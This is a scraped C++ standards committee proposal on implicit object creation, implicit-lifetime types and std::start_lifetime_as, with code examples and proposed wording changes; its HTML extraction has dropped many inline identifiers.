Consider this program that attempts to implement a type like
(with many details omitted for brevity):
template < typename T > struct Vec { char * buf = nullptr , * buf_end_size = nullptr , * buf_end_capacity = nullptr ; void reserve ( std :: size_t n ) { char * newbuf = ( char * ) :: operator new ( n * sizeof ( T ), std :: align_val_t ( alignof ( T ))); std :: uninitialized_copy ( begin (), end (), ( T * ) newbuf ); // #a :: operator delete ( buf , std :: align_val_t ( alignof ( T ))); buf_end_size = newbuf + sizeof ( T ) * size (); // #b buf_end_capacity = newbuf + sizeof ( T ) * n ; // #c buf = newbuf ; } void push_back ( T t ) { if ( buf_end_size == buf_end_capacity ) reserve ( std :: max < std :: size_t > ( size () * 2 , 1 )); new ( buf_end_size ) T ( t ); buf_end_size += sizeof ( T ); // #d } T * begin () { return ( T * ) buf ; } T * end () { return ( T * ) buf_end_size ; } std :: size_t size () { return end () - begin (); } // #e }; int main () { Vec < int > v ; v . push_back ( 1 ); v . push_back ( 2 ); v . push_back ( 3 ); for ( int n : v ) { /*...*/ } // #f }
In practice, this code works across a range of existing implementations, but according to the C++ object model, undefined behavior occurs at points #a, #b, #c, #d, and #e, because they attempt to perform pointer arithmetic on a region of allocated storage that does not contain an array object.
At locations #b, #c, and #d, the arithmetic is performed on a
, and at
locations #a, #e, and #f, the arithmetic is performed on a
. Ideally, a
solution to this problem would imbue both calculations with defined behavior.
3. Approach
The above snippets have a common theme: they attempt to use objects that they never created. Indeed, there is a family of types for which programmers assume they do not need to explicitly create objects. We propose to identify these types, and carefully carve out rules that remove the need to explicitly create such objects, by instead creating them implicitly.
3.1. Affected types
If we are going to create objects automatically, we need a bare minimum of the following two properties for the type:
1) Creating an instance of the type runs no code. For class types, having a trivially default constructible type is often the right constraint. However, we should also consider cases where initially creating an object is non-trivial, but copying it (for instance, from an on-disk representation) is trivial.
2) Destroying an instance of the type runs no code. If the type maintains invariants, we should not be implicitly creating objects of that type.
Note that we’re only interested in properties of the object itself here, not of its subobjects. In particular, the above two properties always hold for array types. While creating or destroying array elements might run code, creating the array object (without its elements) does not. For similar reasons, it also seems reasonable to permit implicit object creation for aggregate class types even if the aggregate contains an element with a non-trivial destructor.
This suggests that the largest set of types we could apply this to is:
Scalar types
Aggregate types (arrays with any element type, aggregate classes with any members)
Class types with a trivial destructor and a trivial constructor (of any kind)
(Put another way, we can apply this to all types other than function type,
reference type,
, and class types where all constructors are non-trivial
or where the destructor is non-trivial.)
We will call types that satisfy the above constraints implicit-lifetime types.
3.2. When to create objects
In the above cases, it would be sufficient for
/
to implicitly create sufficient objects to make the examples work. Imagine
that
could "look into the future" and see how its storage would be
used, and create the set of objects that the program would eventually need.
If we somehow specified that
did this, the behavior of many C-style
use cases would be defined.
On typical implementations, we can argue that this is not only natural, it is
in some sense the status quo. Because the compiler typically does not make
assumptions about what objects are created within the implementation of
, and because object creation itself typically has no effect on the
physical machine, the compiler must generate code that would be correct if
did create that correct set of objects.
However, this is not always sufficient. An allocation from
may be
sequentially used to store multiple different types, for instance by way
of a memory pool that recycles the same allocation for multiple objects of
the same size. It should be possible to grant such cases the same power to
implicitly create objects as is de facto granted to
.
We could specify that implicit object creation happens automatically at any program point that relies on an object existing. This has a great deal of appeal: no explicit program action is ever required to create objects, and it directly describes a simple model where objects are not distinguished from the storage they occupy (this model gives the same results as C’s "effective type" model in most cases). However, it also removes much of the power of scalar type-based alias analysis. The C committee has long been struggling with the conflict between their desire to support TBAA and their version of this rule, as exemplified by C’s DR 236 ([C236]), which lists a "resolution" not reflected by the standard wording and that undesirably grants special powers to function call boundaries (this is one of at least four different and incompatible rules the C committee has at one point or another taken as the resolution to that defect). The lack of a reasonable resolution to these problems, despite them being known for nearly two decades, suggests that this is not a good path forward.
Therefore we propose the following rule:
Some operations are described as implicitly creating objects within a specified region of storage. The abstract machine creates objects of implicit-lifetime types within those regions of storage as needed to give the program defined behavior. For each operation that is specified as implicitly creating objects, that operation implicitly creates zero or more objects in its specified region of storage if doing so would give the program defined behavior. If no such sets of objects would give the program defined behavior, the behavior of the program is undefined.
The coherence of the above rule hinges on a key observation: changing the set of objects that are implicitly created can only change whether a particular program execution has defined behavior, not what the behavior is.
We propose that at minimum the following operations be specified as implicitly creating objects:
Creation of an array of
,
char
, or
unsigned char
implicitly creates objects within that array.
std :: byte
A call to
,
malloc
,
calloc
, or any function named
realloc
or
operator new
implicitly creates objects in its returned storage.
operator new []
likewise implicitly creates objects in its returned storage; the allocator requirements should require other allocator implementations to do the same.
std :: allocator < T >:: allocate
A call to
behaves as if it
memmove
copies the source storage to a temporary area
implicitly creates objects in the destination storage, and then
copies the temporary storage to the destination storage.
This permits
to preserve the types of trivially-copyable objects, or to be used to reinterpret a byte representation of one object as that of another object.
memmove
A call to
behaves the same as a call to
memcpy
except that it introduces an overlap restriction between the source and destination.
memmove
A call to
implicitly creates objects in the result, to handle the case where the destination type contains a union.
std :: bit_cast
A new barrier operation (distinct from
, which does not create objects) could be introduced to the standard library, with semantics equivalent to a
std :: launder
with the same source and destination storage. Prior versions of this document suggested:
memmove // Requires: [start, (char*)start + length) denotes a region of allocated // storage that is a subset of the region of storage reachable through start. // Effects: implicitly creates objects within the denoted region. void std :: bless ( void * start , size_t length );
However, LEWG review observed that
can be used to obtain the desired effect by reusing the first rule above.
new ( start ) std :: byte [ length ]
In addition to the above, an implementation-defined set of non-standard memory
allocation and mapping functions, such as
on POSIX systems and
on Windows systems, should be specified as implicitly creating
objects.
Note that a pointer
is not considered sufficient to trigger
implicit object creation.
3.3. Type punning
We do not wish examples such as the following to become valid:
float do_bad_things ( int n ) { alignof ( int ) alignof ( float ) char buffer [ max ( sizeof ( int ), sizeof ( float ))]; * ( int * ) buffer = n ; // #1 new ( buffer ) std :: byte [ sizeof ( buffer )]; return ( * float * ) buffer ; // #2 }
float do_bad_things ( int n ) { union { int n ; float f ; } u ; u . n = n ; // #1 new ( & u ) std :: byte [ sizeof ( u )]; return u . f ; // #2 }
The proposed rule would permit an
object to spring into existence
to make line #1 valid (in each case), and would permit a
object to
likewise spring into existence to make line #2 valid.
However, these examples still do not have defined behavior under the proposed rule. The reason is a consequence of [basic.life]p4:
The properties ascribed to objects and references throughout this document apply for a given object or reference only during its lifetime.
Specifically, the value held by an object is only stable throughout its
lifetime. When the lifetime of the
object in line #1 ends (when
its storage is reused by the
object in line #2), its value is
gone. Symmetrically, when the
object is created, the object has
an indeterminate value ([dcl.init]p12), and therefore any attempt to
load its value results in undefined behavior.
Thus we retain the property (essential to modern scalar type-based alias analysis) that loads of some scalar type can be considered to not alias earlier stores of unrelated scalar types.
3.4. Union copies
Consider an example such as:
union U { int n ; float f ; }; float pun ( int n ) { U u = {. n = n }; U u2 = u ; // #1 return u2 . f ; // #2 }
In the current language rules,
a strict interpretation of the wording would suggest that
only the object representation of
is copied on line #1,
but no union member’s lifetime begins, so
has no active union member.
This is clearly not the appropriate outcome.
We could rectify this in one of two natural ways:
Line #1 copies the object structure of
to
u
, so that the active member of
u2
is
u2
; line #2 does not have defined behavior, just as if it returned
n
.
u . f
Line #1 implicitly creates objects; at line #2 we have implicitly bit-cast
to
n
.
float
This paper proposes we adopt the former option,
as it preserves equational reasoning and results in more explicit code
(that is, using
to perform bit-casts rather than union copies).
3.5. Constant expressions
Constant expression evaluation is currently very conservative with regard to object creation. There is a tension here: on the one hand, constant expression evaluation gives us an opportunity to disallow runtime program semantics that we consider undesirable or problematic, and on the other hand, users strongly desire a full compile-time evaluation mechanism with the same semantics as the base language.
Following the existing conservatism in constant expression evaluation,
and specific concerns about high implementation costs in some existing implementations,
we propose that implicit creation of objects
should not be performed during such evaluation.
The disallowance of pointer or reference
s in constant expressions
is believed to make the lack of implicit object creation unobservable.
3.6. Pseudo-destructor calls
In the current C++ language rules, "pseudo-destructor" calls may be used in generic code to allow such code to be ambivalent as to whether an object is of class type:
template < typename T > void destroy ( T * p ) { p ->~ T (); }
When
is, say,
, the pseudo-destructor expression
is specified
as having no effect. We believe this is an error: such an expression should have
a lifetime effect, ending the lifetime of the
object. Likewise, calling a
destructor of a class object should always end the lifetime of that object,
regardless of whether the destructor is trivial.
This change improves the ability of static and dynamic analysis tools to reason about the lifetimes of C++ objects.
3.7. Practical examples
std :: vector < int > vi ; vi . reserve ( 4 ); vi . push_back ( 1 ); int * p = & vi . back (); vi . push_back ( 2 ); vi . push_back ( 3 ); int n = * p ;
Within the implementation of
, some storage is allocated to hold
an array of up to 4
s. Ignoring minor differences, there are two ways
to create implicit objects to give the execution of this program defined
behavior: within the allocated storage, either an
object or an
object is created. Both are correct interpretations of the program,
and naturally both result in the same behavior. We can choose to view the
program as being in the superposition of those two states. If we add a fourth
call to the program prior to the initialization of
, then only
the
interpretation remains valid.
unique_ptr < char [] > Stream :: read () { // ... determine data size ... unique_ptr < char [] > buffer ( new char [ N ]); // ... copy data into buffer ... return buffer ; } void process ( Stream * stream ) { unique_ptr < char [] > buffer = stream -> read (); if ( buffer [ 0 ] == FOO ) process_foo ( reinterpret_cast < Foo *> ( buffer . get ())); // #1 else process_bar ( reinterpret_cast < Bar *> ( buffer . get ())); // #2 }
Note the
implicitly creates objects within the allocated array.
In this case, the program would have defined behavior if an object of type
or
(as appropriate for the content of the incoming data) were
implicitly created prior to
populating its buffer. Therefore,
regardless of which arm of the
is taken, there is a set of implicit
objects sufficient to give the program defined behavior, and thus the behavior
of the program is defined.
3.8. Direct object creation
In some cases it is desirable to change the dynamic type of existing storage
while maintaining the object representation. If the destination type is a
trivially-copyable implicit-lifetime type, this can be accomplished by copying
the storage elsewhere, using placement new of an array of byte-like type, and
copying the storage back to its original location, then using
to
acquire a pointer to the newly-created object. However, for expressivity and
optimizability, a combined operation to create an object of implicit-lifetime
type in-place while preserving the object representation may be useful. For
this we propose:
// Effects: create an object of implicit-lifetype type T in the storage // pointed to by T, while preserving the object representation. template < typename T > T * start_lifetime_as ( void * p );
Note that such an operation is not sufficient to implement
([P0083R3]) for map-like containers.
requires the
ability to take a
and permit mutation of the
portion (without destroying and recreating the
object), even when
is not an implicit-lifetime type, so the above operation does not
quite suffice. However, we could imagine extending its semantics to also permit
conversions where each subobject of non-implicit-lifetime type in the
destination corresponds to an object of the same type (ignoring
cv-qualifications) in the source.
4. Disposition and shipping vehicle
This paper did not complete LWG review in time for C++20. However, the functionality contained herein can be split into two portions:
The core language change that gives defined behavior to various constructs that have historically been assumed to work, and
The standard library addition of
, which is a pure extension.
std :: start_lifetime_as
The author suggests that the committee considers adopting the former portion of this paper as a Defect Report, for possible inclusion into the C++20 IS, and that the latter portion be deferred to C++23.
Wording is presented assuming the committee agrees with this direction.
Such wording is presented only for context and should not be applied to the C++20 working draft.
5. Wording
5.1. 6.6.2 Object model [intro.object]
Change in 6.6.2 [intro.object] paragraph 1:
The constructs in a C++ program create, destroy, refer to, access, and manipulate objects. An object is created by a definition (6.1), by a new-expression (7.6.2.4), when implicitly changing the active member of a union (10.4), or when a temporary object is created (7.3.4, 6.6.7). [...]
Add a new paragraph at the end of [intro.object]:
Add an example following the new paragraph:
Add another paragraph:
Change in the newly-added paragraph:
Some functions in the C++ standard library implicitly create objects ( 19.10.9.2 [allocator.traits.members], 19.10.12 [c.malloc], 20.5.3 [cstring.syn], 26.5.3 [bit.cast]).
5.2. 6.6.3 Object and reference lifetime [basic.life]
Change in 6.6.3 [basic.life] paragraph 1:
[...] The lifetime of an object of type T begins when: [...] except that if the object is a union member or subobject thereof, its lifetime only begins if that union member is the initialized member in the union (9.3.1, 11.9.2), or as described in 11.4 . [...] The lifetime of an object
of typeof type
o
ends when:ends when:
T
-
if
is a non-class type, the object is destroyed, oris a non-class type, the object is destroyed, or
T
-
if
is a class type, the destructor call starts, oris a class type, the destructor call starts, or
T
-
the storage which the object occupies is released, or is reused by an object that is not nested within
(6.6.2).(6.6.2).
o
5.3. 6.7 Types [basic.types]
Change in 6.7 [basic.types] paragraph 9:
[...] Scalar types, trivial class types (10.1), arrays of such types and cv-qualified versions of these types are collectively called trivial types. Scalar types, standard-layout class types (10.1), arrays of such types and cv-qualified versions of these types are collectively called standard-layout types.
5.4. 7.5.4.3 Destruction [expr.prim.id.dtor]
Change in 7.5.4.3 [expr.prim.id.dtor] paragraph 2:
If the id-expression names a pseudo-destructor,
shall be a scalar type and the id-expression shall appear as the right operand of a class member access (7.6.1.4) that forms the postfix-expression of a function call (7.6.1.2). [Note: Such a callshall be a scalar type and the id-expression shall appear as the right operand of a class member access (7.6.1.4) that forms the postfix-expression of a function call (7.6.1.2). [Note: Such a call
T has no effect. —end note]
5.5. 7.6.1.2 Function call [expr.call]
Change in 7.6.1.2 [expr.call] paragraph 5:
[...] If the postfix-expression names a pseudo-destructor, the function call
has no effect.
5.6. 10.1 Properties of classes [class.prop]
Add a new paragraph at the end of [class.prop]:
5.7. 11.3.4.2 Copy/move constructors [class.copy.ctor]
Change in 11.3.4.2 [class.copy.ctor] paragraph 15:
The implicitly-defined copy/move constructor for a union
copies the object representation (6.7) ofcopies the object representation (6.7) of
X
..
X
5.8. 11.3.5 Copy/move assignment operator [class.copy.assign]
Change in 11.3.5 [class.copy.assign] paragraph 13:
The implicitly-defined copy assignment operator for a union
copies the object representation (6.7) ofcopies the object representation (6.7) of
X
..
X
5.9. 19.10.9.2 Static member functions [allocator.traits.members]
Add paragraph after 19.10.9.2 [allocator.traits.members] paragraph 1:
Add paragraph after 19.10.9.2 [allocator.traits.members] paragraph 2:
5.10. 19.10.12 C library memory allocation [c.malloc]
Add a new paragraph after [c.malloc] paragraph 4 in the description of
,
,
, and
:
5.11. 20.5.3 Header
synopsis [cstring.syn]
< cstring >
Change in 20.5.3 [cstring.syn] paragraph 3:
The functions
andand
memcpy
are signal-safe (16.12.4).are signal-safe (16.12.4).
memmove
5.12. 20.10.2 Header
synopsis [memory.syn]
< memory >
Add the following after the declarations of
and
:
Add the following subclause immediately after 20.10.6 [ptr.align]:
5.13. 20.10.x [obj.lifetime]
5.14. 26.5.3 Function template
[bit.cast]
bit_cast
Change in 26.5.3 [bit.cast] paragraph 1:
template < class To , class From > constexpr To bit_cast ( const From & from ) noexcept ;
Returns: An object of typeEach bit of the value representation of the result is equal to the corresponding bit in the object representation of
..
To
. Padding bits of the. Padding bits of the
from
object are unspecified.object are unspecified.
To Ifthere is no value of type corresponding to the value representation produced, the behavior is undefined. If there are multiple such values, which value is produced is unspecified.corresponding to the value representation produced, the behavior is undefined. If there are multiple such values, which value is produced is unspecified. To
5.15. C.5 C++ and ISO C++ 2017 [diff.cpp17]
Add an entry to Annex C as follows:
5.16. Feature test macro
No feature test macro is proposed for the core language changes.
For the library functionality, add feature test macro
for header
with a suitable value to
Table 36 in 17.3.1 [support.limits.general].
6. Acknowledgments
Thanks to Ville Voutilainen for raising this problem, and to the members of SG12 for discussing possible solutions. | http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p0593r5.html | CC-MAIN-2019-47 | refinedweb | 4,072 | 53 |
function
define external stream function netutil.host-ip of value string Host-Name optional
Argument definitions
Use netutil.host-ip to retrieve the Internet Protocol (IP) address of a host computer, given its name.
The IP address is returned in dotted decimal format (for example, "127.0.0.1").
If no host name is specified,
netutil.host-ip returns the IP address of the local host. If
netutil.host-ip fails to retrieve the IP address, it returns
netutil.invalid-ip which is defined as "255.255.255.255".
This sample gets IP address of the host whose host name or alias is specified.
import "omnetutil.xmd" prefixed by netutil. process local stream host initial {""} output "The IP address of " || host || " is: " || netutil.host-ip of host || "%n"
This sample gets the IP address of the local host.
import "omnetutil.xmd" prefixed by netutil. process output "The IP address of this machine is: " || netutil.host-ip || "%n" | http://developers.omnimark.com/docs/html/function/1308.htm | CC-MAIN-2017-34 | refinedweb | 157 | 53.27 |
2016-01-04 01:25:44 8 Comments
As a follow up to my previous question I've improved the code + algorithm. The compression now works the following way:
Each character is followed by a length byte. The top 3 bits of that byte denote the number of additional length bytes which encode the count. The count is stored in "little endian order" (least significant byte first) with the first 5 bits being encoded in the initial length byte.
Some examples:
Count == 1 yields in length byte 00000001 Count == 31 yields in length byte 00011111 Count == 32 yields in length bytes 00100000 followed by 0000001 Count == 33 yields in length bytes 00100001 followed by 0000001
The program supports a command line option for printing the output in hex for easier reading and debugging. I tried to use a
const int for the
NUM_LENGTH_BITS as well but then the compiler claimed that the initializer element for
MAX_COUNT isn't constant. Not sure if that can be worked around.
I've limited the max count to 61 bits to leave 3 bits for the length specifier and have a maximum of 8 bytes for the length output.
All types of feedback appreciated.
#include <stdio.h> #include <stdbool.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <assert.h> #define NUM_LENGTH_BITS 3 static const uint64_t MAX_COUNT = (~0ULL) >> NUM_LENGTH_BITS; static bool print_hex = false; static int most_significant_bit(uint64_t value) { int i = 0; while (value) { ++i; value >>= 1; } return i; } static int num_bytes_required(uint64_t value) { int msb = most_significant_bit(value); int bytes = msb / 8; int remainder = msb % 8; if (remainder) { bytes += (remainder + NUM_LENGTH_BITS) > 8 ? 2 : 1; } return bytes; } void write_char(int c) { if (print_hex) { if (printf("0x%x ", c) < 0) { perror("error printing to stdout"); exit(EXIT_FAILURE); } } else { if (EOF == putchar(c) && ferror(stdout)) { perror("error writing to stdout"); exit(EXIT_FAILURE); } } } void write_count(uint64_t count) { int additional_length_bytes = num_bytes_required(count) - 1; assert(additional_length_bytes >= 0 && additional_length_bytes < 8); int first = ((additional_length_bytes << 5) | (count & 0x1F)) & 0xFF; write_char(first); count >>= 5; while (count) { write_char(count & 0xFF); count >>= 8; } } static void parse_args(int argc, char **argv) { if (argc == 2) { print_hex = (stricmp(argv[1], "-h") == 0 || stricmp(argv[1], "--hex") == 0); } else { printf("Invalid number of arguments passed: %d\n", argc - 1); exit(EXIT_FAILURE); } } int main(int argc, char** argv) { int current_char = 0; int previous_char = 0; uint64_t current_char_count = 0; parse_args(argc, argv); while (true) { current_char = getchar(); if (current_char_count == 0 || current_char_count == MAX_COUNT || previous_char != current_char) { if (current_char_count > 0) { write_count(current_char_count); } if (EOF != current_char) { write_char(current_char); current_char_count = 1; previous_char = current_char; } else { break; } } else { current_char_count += 1; } } }
Related Questions
Sponsored Content
1 Answered Questions
[SOLVED] Interop compression
- 2015-09-16 10:22:56
- Andrew Savinykh
- 144 View
- 5 Score
- 1 Answer
- Tags: c# compression
1 Answered Questions
[SOLVED] Simplifying LZW compression & decompression
- 2016-03-06 18:08:38
- KrakenJaws
- 7846 View
- 1 Score
- 1 Answer
- Tags: java compression
2 Answered Questions
[SOLVED] Simple string compression in Python
- 2016-09-17 20:07:52
- newToProgramming
- 7273 View
- 2 Score
- 2 Answer
- Tags: python strings python-3.x complexity compression
2 Answered Questions
[SOLVED] Analyzer for compression algorithms (or tools)
- 2016-08-31 13:59:07
- user116360
- 150 View
- 3 Score
- 2 Answer
- Tags: c file compression
0 Answered Questions
Cuda C Matrix Compression
- 2016-05-26 20:00:49
- Craig Swearingen
- 122 View
- 1 Score
- 0 Answer
- Tags: c matrix compression cuda
2 Answered Questions
[SOLVED] Simple string compression reloaded
- 2016-01-03 00:04:46
- ChrisWue
- 149 View
- 4 Score
- 2 Answer
- Tags: c compression
1 Answered Questions
[SOLVED] String compression implementation in C
- 2016-01-08 04:40:01
- CodeCrack
- 1296 View
- 1 Score
- 1 Answer
- Tags: algorithm c strings compression
2 Answered Questions
[SOLVED] Simple compression on steroids - now with decompression
- 2016-01-05 19:56:26
- ChrisWue
- 116 View
- 1
@holroy 2016-01-04 12:31:28
Although your code looks rather nice, there always alternate ways of doing stuff with its pros and cons. I'll comment on some of this alternate solutions to your implementation:
Simplify
write_count()– Instead of counting all bits used, and splitting out 5 bits and then 8 bits at a time, I would opt for a simpler method to write the count, whilst still maintaining a variable byte count to write larger numbers. Before presenting that, I'm not sure if you really need to count the actual bits, as you always write bytes, so your implementation could most probably be simplified as well.
However if you use the 8th bit to indicate that more bits follows, there is no need to do all the precalculations, and you can do the following:
This change will allow up to 127 repetitions to be represented using 2 bytes, instead of only 31 repetitions as in your original code. When using 3 bytes this implementation allows for 16384 repetitions (14 bits), whilst your allows 8192 repetitions (13 bits). After that your implementation is slightly more space efficient, but still slightly harder as you need to precalculate it.
Here is an example run showing the transition from 127 to 128 repetitions:
That is 1
e, 127 (0x7f)
a's, 128
b's (0x80 0x1), and 1
c.
Avoid magic numbers – In your version of
write_count()you use the magic numbers of
5and
8, whilst you've defined the
NUM_LENGTH_BITS. Be consistent, and try to avoid most use of magic numbers. If you changed your
NUM_LENGTH_BITSthe rest of your code would not follow that change.
Avoid repeating your self – In
write_char()the
perror()&
exit()part is repeated. If you change to using only
printf()this can be avoided, and simplified into:
Here I use a ternary to choose the proper format string, and I've also added a space to the end of the hex output to make it a little easier to read.
Be vary about globals – Global variables are in general to be avoided, but stuff like the
print_hexis awkward to pass as parameters everywhere. I tend to either uppercase them, or add
G_in front of them so that it becomes
G_print_hex. The general advice is though to make some sort of distinction so that you easily detect where you are using globals.
Improve argument handling – I would look into alternate ways of handling your parameters, as the current implementation is somewhat handicapped due to the following reasons:
stricmpis limited to Windows –
stricmpis Windows specific (see here), so please use
strcasecmpinstead which is compliant with C99
If you add more parameters the
argc == 2fails – For test purposes I tried adding a
-vparameter, but this turned out to be cumbersome as this required some rewriting so I ended up hard-coding it (and removing it at the end).
A proper parameter handling would require a
forloop, and should most likely at least include the
-x/
--hexparameters, as well as a
-h/
--helpparameters. In addition to allowing no parameters.
Consider simplifying
main()– A common pattern is to have as simple main method as possible, that is to do parameter parsing and then calling the appopriate function to be executed. This allows for a simple entry point, and also easier reuse of functions if you extend your program.
I.e. if you renamed your current
main()to
encode(), you could easily add the
decode()to the mix based on parameters. Having both of these within
main()would not look tidy. This would also be a clearer segregation of duty, and better single responsibility design.
Try to reduce nesting of
if's – This a little based on taste and personal opinions, but I tend to avoid using
while (true)and
breakif possible, and try to keep the nesting of
if's to a minimum.
In your case, this can be done using the following:
To me this this clearer indicates the main purpose of reading characters until end of file, and by switching the
if's around, I also clearer indicates that the main thingy is counting equal characters. And it is a clearer connection between the
ifand the
elseso that it is easier to see why we entered the
elseclause.
I've removed the reference related to
MAX_COUNTas I consider it rather esoteric if you run this code on something with
2^64repetitions of a single character. Another change is that I need to finish of the writing of the last count in an additional
write_count()at the end. Still I think this reads somewhat easier than your implementation.
Optionally change brace style – This is totally a personal preference, and the main point is to keep bracing consistent, which you do! But I prefer having the opening brace on the same line in
C, as I feel it make the code somewhat easier to read and slightly more compact.
Do however note that I still keep braces around one-line blocks, as you do.
Refactored code
Here is the complete refactored code (using opening braces on previous line):
I've also used two blank lines in between functions to help them stand out a little more, and I've been very lazy in writing comments.
PS! Using
previous_char=-1one avoids a bug when testing this with
dd if=/dev/zero bs=1 count=65, as
getchar()only returns
unsigned char's or EOF. But
previous_charis declared as an int, and as such using
-1as a start value, is safer than the original
0.
@ChrisWue 2016-01-04 21:34:57
Yeah, the command line thing I tacked on as a quick afterthought - I guess it shows. Good catch on the
stricmpand the argument count checking.
@syb0rg 2016-01-04 04:47:44
A few minor notes (looks pretty good for the most part!):
Your
most_significant_bit()function loop should be condensed into a
forloop. The main difference between the
for's and the
while's is a matter of pragmatics: we usually use
forwhen there is a known number of iterations (which might not seem like the case here, but it's true), and use
whileconstructs when the number of iterations in not known in advance.
I'm not a fan of you using
-has the command line argument equivalent to
--hex. Whenever I think of
-h, I think of it as the shorthand of
--help. A better shorthand would be
-xin my opinion.
Why do you do
current_char_count += 1? Why not
current_char_count++/
++current_char_count(both do the same thing in the same amount of time in this case)?
@ChrisWue 2016-01-04 06:42:22
The
forloop I disagree with - I find the
whileloop in this case semantically more appropriate (if I explain the algorithm to myself in plain english it goes something like "while there are still bits set, shift value to right by one and increment the counter" - therefore I use a
whileloop).
@ChrisWue 2016-01-04 06:42:26
Good point about the
-h. Last one: depends what kind of code I've been reading in the most recent past. Currently I prefer
var += 1if it's a standalone statement. Technically the pre- instead of the post-fix increment should be used if any since the post-fix operator technically requires that a copy should be made (since the value before the operation has to be returned) - admittedly in this case the compiler will very likely optimize this away but still.
@Roy T. 2016-01-04 09:14:32
A post fix operator translates to a copy and increment while a prefix operator translates to an increment and copy. So they are both equally inexpensive (and in this case there is not even something to copy to).
@syb0rg 2016-01-04 15:01:17
@ChrisWue I guess it's all about how you understand the code then. For me,
forloops are super easy to read, even in plain English. Plus the counter variable (which is usually just
i, but could vary) is more obvious to me and reduced in scope.
@ChrisWue 2016-01-04 17:43:44
@syb0rg: sure, except in this case the loop counter would need to live beyond the score of the loop so it can be returned (unless I misunderstand the way you intended to use the four loop) | https://tutel.me/c/codereview/questions/115763/simple+compression+reloaded | CC-MAIN-2019-18 | refinedweb | 2,011 | 54.46 |
In 3010, on_api_ready() is iterating over sys.modules.values() directly (sublime_plugin.py:133). If a plugin does something like an import inside its plugin_loaded function, ST will bail with a RuntimeError ("dictionary changed size during iteration"). It might be better to capture modules.values() into a list before iterating to guard against that?
I am curious about how you are using on_api_read in your plugin. I was looking for something like that when I started porting PC because I needed to check the version of PC to determine what import code to run.
Would it solve your problem if sublime.version(), sublime.arch() and sublime.platform() were available always? I don't know if that is possible, but it would certainly make some of my import code a little cleaner.
here's what i'm doing:
try:
import py3modules
else ImportError:
import py2.6modules
def _import_modules():
blah = sublime.blah # we have sublime
# run all my imports here that need sublime avaialble
if not sublime.version():
_import_modules()
def plugin_loaded():
sublime.set_timeout_async(_import_modules)
jburnett: Will fix for the next build
wbond: I'll modify the next build so that sublime.version() and friends can be called at any time | https://forum.sublimetext.com/t/st3-on-api-ready-issue/8749/1 | CC-MAIN-2016-36 | refinedweb | 197 | 60.82 |
As I mentioned in the previous installment, I want to use Sixex four our new issue management tools. Why? Because it is easy to work with, lean, powerful and very testable. My composer.json file at the moment looks like this:
I think I put up a basic “Hello World” example last time, but I will do it once again for the sake of completeness. Here is a basic Silex App, but keep in mind that to get it working you need to include a few rules in your .htaccess file. I illustrated this in Part 3 of this series.
Yep routing in Silex is that simple. You use either a get or a post method, you specify the address pattern and you return a string that gets rendered on the page. Its very elegant and what is more important it enforces good habits. For example, when writing a Silex application there is absolutely no reason for you to ever have to use a print statement. Compare it to our pastebin where we would have to manually render our twig templates by printing them out with echo.
With Silex we can simply hand off that job to the framework. We simply build a string, and pass it on without caring what happens next. And the good news is that we can still use Twig just as easily if not easier than before. As a matter of fact it happens to be one of the built-in service providers. If I wanted to re-implement the above example using Twig templates I would simply have to add two lines of code:
This will render the main.html file just as before. Note the register method. This is sort of how things are done in this framework. Your $app is the central point of the entire application and also a sort of a universal wrapper. You plug services and providers into it, and then you can just pass that one object into the routing closures. This keeps the code concise – when you define a routing closure (like we just did above for the / path) you just say use($app) and you are done. That one little variable extends it’s virtual tendrils throughout the entire code base and makes other things accessible in places where they otherwise wouldn’t be.
Granted, you could achieve something very similar by simply using a facade pattern, and defining bunch of static factories that would be globally accessible from any scope but… Well, sometimes you want to unit test. As the name suggests the main purpose of unit testing is testing units or components in isolation. You want to see how it behaves against some know, hard coded sets of inputs and outputs without interference from other parts of the code base. Unfortunately few functions or classes can exist in programmatic void, so it is a common practice to mock up fake objects and helpers for the purpose of tests. The problem with static factories is that they are not easy to fake.
You can see this in my test suite for the Pastebin app. In Part 3 I decided to create a TwigFactory class to avoid passing around a Twig environment object, and from that point I was mostly stuck with it. Thankfully the class was only few a lines long convenience helper, so it didn’t foul up my tests too much. But imagine if this was something more complex. Something with few thousand lines and an array of bugs of its own. I would be hard pressed not to include it in my tests. The Silex way gives you a live object you pass around your app, which can be easily mocked with canned set of responses for the purpose of testing.
Our Pastebin didn’t have any authentication logic, but the Issue Tracker ought to have one. It’s probably a good idea to get that bit out of the way first before we start building the rest of the site. Typically you handle this sort of thing using PHP’s global $_SESSION array and the collection of functions that initialize and flush it. It is a rather fiddly process – you have to remember to call session_start at the top of your scripts, make sure you properly unset the session variables when the user logs out and etc.
Silex provides us with something called SessionServiceProvider which is a helper class that gets registered within your $app much like we did with twig. Once you have it registered you can use it like this:
The session is maintained automagically. You don’t have to do anything. Want to log user out? Just do set(‘user’, null) and you’re done. It doesn’t get any simpler than that. Also note how easy it is to redirect. Compare this to the usual PHP way of accomplishing things which was always to send a custom header to the browser like:
Yeah, sending raw headers to the browser as a standard recommended practice. This is one of those terribad, awfully misguided things you can learn when you browse PHP.net documentation sometimes. Of course there are legit reasons for the header function to exist, but doing redirects is not one of them.
Also, I would like to point out one more thing – I grabbed the authentication snipped directly from the Silex example and I would like to point out that I really approve of style. Let me re-post this line just so I can talk about all the things that are absolutely right here:
First, note the tipple equals identity comparison operator which no one ever remembers to use in situations like this. Second, note the unconventional assignment order. Most programmers prefer to put variable on the left, and value on the right. It’s mostly a force of habit I guess, and one that is worth breaking. Why? Think about it – if you put the value on the left and variable on the right, and then somehow turn == to = you get a syntax error that can be fixed right away. If you do the same with the usual positioning, the compiler happily assumes you are doing an assignment, and keeps chugging along and you end up with a weird logical bug that will be much more difficult to find.
Finally, since in PHP assignment has higher precedence than identity comparison this will initialize $user and make it available within the scope of our routing closure. This is a lot of work accomplished by a single, concise and well written line.
How do you handle POST requests in Silex? It’s equally easy. Let’s say I make a login form that submits to itself via POST. Here is how I would capture that:
Few words about first line in that snippet. Silex borrows a lot of modular components from the Symphony framework. The Request object is one of them. To effectively capture the POST request we have to use hinting in the function declaration. Without the type hint Silex gets a bit confused and bugs out. Since Symphony uses a deeply nested namespace scheme this gets kinda ugly, so I usually put that line somewhere in my index.php and then never think about it again.
